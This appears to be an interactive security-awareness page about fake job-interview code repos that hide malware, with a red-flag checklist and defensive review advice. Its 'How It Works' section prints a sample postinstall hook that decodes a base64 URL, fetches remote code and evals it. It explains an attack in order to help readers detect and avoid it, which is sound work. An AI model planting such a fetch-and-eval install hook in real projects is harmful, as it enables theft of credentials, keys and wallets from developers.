The "Review My Code" Trap: Malware Repo X-Ray

Drag to rotate · check red flags on the right to x-ray each hidden layer

Red-Flag Detector

Check every warning sign you'd investigate. Each one peels a layer off the repo in 3D and raises the risk score.

Unsolicited "job" + urgencyRecruiter DM, vague company, "complete within 24h" You must RUN it, not read it"Just npm install && npm start to see the demo" Lifecycle script in package.jsonpostinstall/preinstall hooks executing on install Obfuscated blob in a config fileBase64/hex string, eval(), or a 5,000-char line Calls to a raw IP or paste sitefetch to http://45.x.x.x or unknown endpoint at runtime Fresh repo, fake polishCreated days ago, bought stars, contributors with empty histories

Nothing checked — repo still looks innocent

How It WorksThe payload chain, in real code

These campaigns (security researchers track major ones like "Contagious Interview," attributed to North Korean state actors) hide a loader where reviewers never look — a config file, a minified vendor script, or a postinstall hook:

// package.json
"scripts": {
  "start": "vite",
  "postinstall": "node ./config/dev-tools.js"
}

// config/dev-tools.js (deobfuscated)
const p = Buffer.from("aHR0cDovLzQ1...", "base64");
fetch(p).then(r => r.text()).then(eval);

Stage 2 arrives from the attacker's server only at runtime — so nothing malicious is even in the repo to find. It then harvests browser passwords, session cookies, SSH keys, crypto-wallet extensions, and keychain data, and installs a backdoor for persistent access. Everything your logged-in machine can touch, it can touch.

DefenseHow to review unknown code safely

Never install on your main machine. Use a disposable VM, container, or cloud sandbox (Codespaces/devcontainer with no secrets mounted).
Read before running: check package.json scripts first, then grep for eval, Function(, child_process, Buffer.from(...,"base64"), and long encoded strings.
Install with scripts disabled: npm install --ignore-scripts (or set it globally in .npmrc).
Check the repo's pulse: creation date vs. star count, contributor history, whether "employees" of the company exist anywhere else.
Treat urgency as a payload. Any legitimate interviewer will accept "I'll review this in a sandbox tomorrow." Pressure to run it now is the tell.